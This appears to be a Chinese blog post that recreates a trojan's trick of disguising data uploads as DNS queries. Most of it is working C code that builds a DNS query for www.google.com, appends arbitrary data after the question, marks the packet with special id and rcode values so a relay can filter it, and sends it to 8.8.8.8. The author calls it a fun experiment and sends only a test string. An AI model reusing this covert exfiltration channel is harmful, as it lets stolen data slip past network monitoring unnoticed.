前几天freebuf上出现了一篇文章,黑暗幽灵(DCM)木马详细分析,这个木马为了防止被直接找出服务器地址,在上传用户数据时伪装成了DNS查询,然后在关键节点捕获带有特定标识的网络包后进行转发。
抛开一切,不得不说这样的想法还是很好玩。于是就来写了个demo实验了一下。
假定我们伪装成查询www.google.com的IPv4地址,实际发送的数据是nise DNS query
unsigned char hostname[128] = "www.google.com"; unsigned char data[] = "nise DNS query"; nise_dns_query(hostname, data, sizeof(data));
在我们开始写nise_dns_query这个函数之前,我们需要先来看看一个DNS查询的结构。
一个合法的DNS查询由DNS查询头部,需要查询的内容和一个DNS QUESTION组成。DNS查询头部和DNS QUESTION的C结构体如下定义。
struct DNS_HEADER { unsigned short id; // identification number unsigned char rd :1; // recursion desired unsigned char tc :1; // truncated message unsigned char aa :1; // authoritive answer unsigned char opcode :4; // purpose of message unsigned char qr :1; // query/response flag unsigned char rcode :4; // response code unsigned char cd :1; // checking disabled unsigned char ad :1; // authenticated data unsigned char z :1; // its z! reserved unsigned char ra :1; // recursion available unsigned short q_count; // number of question entries unsigned short ans_count; // number of answer entries unsigned short auth_count; // number of authority entries unsigned short add_count; // number of resource entries }; struct DNS_QUESTION { unsigned short qtype; // question type unsigned short qclass; // question class };
我们构造一个合法的DNS查询之后,再在尾部加上自己想要发送的数据即可。
/** * @brief Send data via a fake DNS query * * @discussion Although we don't really care about the host * but using a vaild and frequently used host is better * * @param host Which host do we perform the DNS query * @param data The data that we really want to send * @param len Length of the data * */ void nise_dns_query(unsigned char * host, void * data, size_t len) { // 准备一个足够大的缓冲区, 以及两个空指针, 方便之后使用 unsigned char buf[65536], * qname, * nise; // socket句柄 int socket_fd; // 目的DNS的sockaddr_in结构体 struct sockaddr_in dest; // DNS查询头部和DNS QUESTION的指针 struct DNS_HEADER * dns = NULL; struct DNS_QUESTION * question = NULL; // 打开socket, 使用UDP协议 socket_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); // UDP, port 53, 送往8.8.8.8 dest.sin_family = AF_INET; dest.sin_port = htons(53); dest.sin_addr.s_addr = inet_addr("8.8.8.8"); // 开始填充DNS头部 dns = (struct DNS_HEADER *)&buf; dns->qr = 0; dns->opcode = 0; dns->aa = 0; dns->tc = 0; dns->rd = 1; dns->ra = 0; dns->z = 0; dns->ad = 0; dns->cd = 0; dns->ans_count = 0; dns->auth_count = 0; dns->add_count = 0; dns->q_count = htons(1); // 这里我们设置了两个特征值方便过滤 dns->id = (unsigned short)htons(0x2333); dns->rcode = 0xF; // 需要将点分表示的域名重写为DNS查询时的格式 qname = (unsigned char *)&buf[sizeof(struct DNS_HEADER)]; format_DNS_name(qname, host); // 开始填充DNS QUESTION question = (struct DNS_QUESTION *)&buf[sizeof(struct DNS_HEADER) + (strlen((const char *)qname) + 1)]; question->qclass = htons(1); question->qtype = T_A; // 将我们真正想发送的数据附在构造好的DNS查询后面 nise = (unsigned char *)&buf[sizeof(struct DNS_HEADER) + (strlen((const char *)qname) + 1) + sizeof(struct DNS_QUESTION)]; memcpy(nise, data, len); // 发送这个伪装的DNS查询 if (sendto(socket_fd, (char *)buf, sizeof(struct DNS_HEADER) + (strlen((const char *)qname) + 1) + sizeof(struct DNS_QUESTION) + len, 0, (struct sockaddr*)&dest, sizeof(dest)) < 0) { perror("sendto: "); } else { printf("OK!\n"); } }
根据下图wireshark的抓包结果,我们的数据的确发送成功了。
完整的代码在此→nise